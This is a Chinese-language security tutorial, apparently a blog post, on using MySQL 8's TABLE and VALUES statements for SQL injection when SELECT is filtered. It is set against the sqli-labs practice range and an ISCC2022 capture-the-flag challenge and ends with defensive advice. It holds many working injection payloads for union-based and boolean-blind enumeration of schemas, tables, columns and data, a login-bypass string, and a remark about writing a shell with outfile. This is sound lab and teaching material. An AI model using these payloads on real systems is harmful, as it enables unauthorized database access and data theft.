记一次Mysql8新特性的浅学习
字数 901 2025-08-12 11:34:35
MySQL 8 新特性在SQL注入中的应用
前言
MySQL 8引入了一些新特性,这些特性在SQL注入攻击中可以被利用,特别是在传统的SELECT语句被过滤的情况下。本文将详细介绍这些新特性及其在SQL注入中的应用方法。
环境搭建
靶场搭建
- 安装Docker和docker-compose:
apt-get install docker.io
pip install docker-compose
- 下载vulstudy项目(包含sqli-labs):
git clone https://github.com/c0ny1/vulstudy.git
- 运行容器:
cd vulstudy/sqli-labs
docker-compose up -d # 启动容器
docker-compose stop # 停止容器
MySQL 8安装
- 拉取MySQL 8镜像:
docker pull mysql:8.0.22
- 启动镜像:
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root mysql:8.0.22
- 修改认证方式(MySQL 8与MySQL 5不同):
ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY 'root';
MySQL 8新特性
TABLE语句
语法:
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
作用:返回命名表的行和列
特点:
- 始终显示表格的所有列
- 不允许对行进行任意过滤(不支持WHERE子句)
- 与SELECT语句类似,但不支持WHERE条件过滤
示例:
mysql> table users;
mysql> table users order by 1;
VALUES语句
语法:
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
row_constructor_list:
ROW(value_list)[, ROW(value_list)
value_list:
value[, value][, ...]
column_designator:
column_index
作用:返回一组一个或多个行作为表
示例:
mysql> values row(1,2,3),row(4,5,6),row(7,8,9);
mysql> select * from users where id=2 union values row(1,2,3);
SQL注入应用
爆库技术
- 使用VALUES替代SELECT:
-1' union values row(1,2,3)--+
-1' union values row(1,database(),3)--+
- 使用TABLE进行布尔盲注:
1' and ('def','m',3,4,5,6)<=(table information_schema.schemata limit 1)--+
1' and ('def','n',3,4,5,6)<=(table information_schema.schemata limit 1)--+
原理:从左至右比较字母,当比较条件满足时返回1(有回显),否则返回0(无回显)
爆表技术
- 查找表位置:
table information_schema.tables
- 布尔盲注payload:
1' and('def','security','e',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 322,1)--+
爆字段名技术
- 查找字段位置:
table information_schema.columns
- 布尔盲注payload:
1' and('def','security','users','i',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 2432,1)--+
爆字段内容
id=1' and (1,'D','')<=(table users limit 1) --+
id=1' and (1,'Dumb','')<=(table users limit 1) --+
id=1' and (1,'Dumb','Dumb')<=(table users limit 1) --+
实战案例:ISCC2022 Easy-SQL
- 初始探测:
http://59.110.159.206:7010/?id=0 or substr(database(),1,1)='a'
- 使用TABLE绕过SELECT过滤:
http://59.110.159.206:7010/?id=-1 union table emails limit 1,1
- 使用VALUES绕过SELECT过滤登录:
username=-1' union values row("1","admin","123")%23&passwd=123
额外知识:文件写入函数区别
-
into dumpfile():- 只能导出一行数据
- 保持原数据格式
-
into outfile():- 可以导出多行
- 有特殊的格式转换
写入shell时一般用outfile更好
防御建议
- 严格过滤SQL关键字,包括新特性关键字(TABLE, VALUES等)
- 使用预编译语句
- 限制数据库用户权限
- 设置secure_file_priv参数限制文件读写
总结
MySQL 8的新特性为SQL注入提供了新的攻击向量,特别是在SELECT被过滤的情况下。了解这些特性对于安全测试和防御都至关重要。防御方需要更新WAF规则以检测这些新特性,而攻击者可以利用这些特性绕过传统的防御措施。